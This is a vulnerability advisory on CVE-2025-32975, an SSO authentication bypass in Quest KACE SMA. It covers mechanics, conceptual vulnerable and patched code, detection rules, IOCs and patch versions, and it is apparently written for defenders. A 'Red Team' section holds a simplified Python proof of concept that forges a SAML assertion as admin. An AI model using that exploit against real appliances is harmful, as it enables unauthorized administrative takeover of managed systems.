CVE-2025-32975
Executive Summary
CVE-2025-32975 is a critical authentication bypass vulnerability in Quest KACE Systems Management Appliance (SMA). The flaw resides in the SSO authentication handling mechanism, allowing an unauthenticated attacker to impersonate any legitimate user, including administrators, without valid credentials. With a CVSS score of 10.0, this vulnerability enables complete takeover of the appliance, granting full control over managed endpoints, sensitive data, and system configurations. The attack vector is network-based, requires no privileges, and no user interaction, making it highly exploitable. Patches are available for all affected versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise appliance. However, the appliance may manage software deployments, making it a high-value target for supply chain attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (S:U) – Vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – Full data access.
- Integrity Impact: High (I:H) – Full system modification.
- Availability Impact: High (A:H) – Potential for denial of service or system disruption.
Threat Level: Critical. Immediate patching is required. The vulnerability is trivial to exploit and grants full administrative control.
Deep Dive & Mechanics
The vulnerability exists in the Single Sign-On (SSO) authentication handling mechanism of the KACE SMA. The appliance fails to properly validate the authenticity of SSO assertions or tokens. An attacker can craft a malicious SSO response that impersonates any user, including the built-in administrator account (admin). The flaw likely stems from improper signature verification, missing validation of the issuer, or acceptance of unsigned assertions.
Attack Flow:
- The attacker sends a specially crafted HTTP request to the KACE SMA's SSO endpoint.
- The request contains a forged SAML assertion or similar token claiming to be from a trusted identity provider.
- The appliance does not verify the cryptographic signature or trust chain of the assertion.
- The appliance creates a session for the impersonated user, granting the attacker full access.
Root Cause: Missing authentication for critical function (CWE-306). The SSO handler trusts user-supplied data without proper validation.
Vulnerable vs. Patched Code
Since the exact code is proprietary, the following is a conceptual comparison based on the vulnerability description.
Vulnerable Code (Conceptual):
# Vulnerable SSO handler
def handle_sso_assertion(assertion):
user = assertion.get('username') # No signature verification
if user:
session.create(user) # Trusts assertion blindly
return redirect('/admin')
return error('Invalid assertion')
Patched Code (Conceptual):
# Patched SSO handler
def handle_sso_assertion(assertion):
if not verify_signature(assertion, trusted_cert):
return error('Invalid signature')
if not validate_issuer(assertion, trusted_issuer):
return error('Untrusted issuer')
user = assertion.get('username')
if user:
session.create(user)
return redirect('/admin')
return error('Invalid assertion')
The patch adds signature verification and issuer validation, ensuring only trusted SSO assertions are accepted.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Network access to the KACE SMA web interface (typically port 443).
- Knowledge of the SSO endpoint URL (e.g.,
/saml/acsor/sso/acs).
Exploitation Steps:
- Identify the SSO endpoint by scanning the appliance or reviewing documentation.
- Craft a forged SAML response with the desired username (e.g.,
admin). - Send the forged assertion to the SSO endpoint using a tool like
curlor a custom script.
Example Exploit (Python):
import requests
target = "https://kace-sma.example.com"
sso_endpoint = "/saml/acs"
# Forged SAML assertion (simplified)
forged_assertion = """
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>admin</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
"""
response = requests.post(target + sso_endpoint, data={"SAMLResponse": forged_assertion})
if "session" in response.cookies:
print("Authentication bypass successful!")
# Now use the session cookie to access admin functions
admin_response = requests.get(target + "/admin", cookies=response.cookies)
print(admin_response.text)
Note: This is a conceptual example. Actual exploitation may require specific SAML encoding and formatting.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual SSO assertion submissions, especially from IPs not associated with the legitimate IdP.
- Alert on successful logins via SSO for the
adminaccount when no corresponding IdP activity is logged. - Look for anomalies in SSO response timestamps or assertion IDs.
Hunting:
- Search logs for
POSTrequests to/saml/acsor similar SSO endpoints. - Correlate SSO login events with IdP logs to identify mismatches.
Mitigation:
- Apply the vendor patch immediately.
- If patching is delayed, disable SSO authentication temporarily.
- Implement network segmentation to restrict access to the KACE SMA management interface.
- Enable multi-factor authentication (MFA) for all administrative accounts.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual POST requests to
/saml/acs,/sso/acs, or similar endpoints. - SSO assertions with missing or invalid signatures.
- Login events for
adminor other privileged accounts via SSO without corresponding IdP activity.
- Unusual POST requests to
Host IOCs:
- New user sessions created without prior authentication.
- Unauthorized changes to system configurations, user accounts, or deployed software.
- Suspicious outbound connections from the KACE SMA to unknown IPs (potential C2).
Log IOCs:
- Log entries showing successful SSO authentication for users who do not have SSO enabled.
- Repeated failed SSO validation attempts followed by a sudden success.
Detection Engineering
YARA Rule
rule CVE_2025_32975_KACE_SMA_SSO_Bypass {
meta:
description = "Detects forged SAML assertions targeting KACE SMA SSO bypass"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32975"
strings:
$saml_response = "<samlp:Response" nocase
$saml_assertion = "<saml:Assertion" nocase
$name_id = "<saml:NameID>" nocase
$admin_user = "admin" nocase
condition:
all of ($saml_response, $saml_assertion, $name_id) and $admin_user
}
Sigma Rule
title: KACE SMA SSO Authentication Bypass Attempt
id: 8f4b3c2a-1e5d-4f7a-9b0c-3d6e8f2a1b4c
status: experimental
description: Detects potential exploitation of CVE-2025-32975 via forged SSO assertions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: kace_sma
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/saml/acs'
- '/sso/acs'
- '/SAMLResponse'
condition: selection
falsepositives:
- Legitimate SSO authentication from trusted IdP
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-32975 KACE SMA SSO Authentication Bypass Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/saml/acs"; http_uri;
content:"SAMLResponse"; http_client_body;
pcre:"/<saml:NameID>[^<]+<\/saml:NameID>/i";
reference:cve,2025-32975;
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to the fixed versions:
- 13.0.x → 13.0.385
- 13.1.x → 13.1.81
- 13.2.x → 13.2.183
- 14.0.x → 14.0.341 (Patch 5)
- 14.1.x → 14.1.101 (Patch 4)
- Workaround: If patching is not immediately possible, disable SSO authentication in the appliance settings.
- Access Control: Restrict network access to the KACE SMA management interface to trusted IPs only.
- Monitoring: Enable detailed logging for all authentication events and monitor for suspicious SSO activity.
Long-Term Measures:
- Implement network segmentation for management appliances.
- Use a dedicated identity provider with strong security controls.
- Regularly review and audit administrative access.
- Apply the principle of least privilege for all user accounts.
Valters IT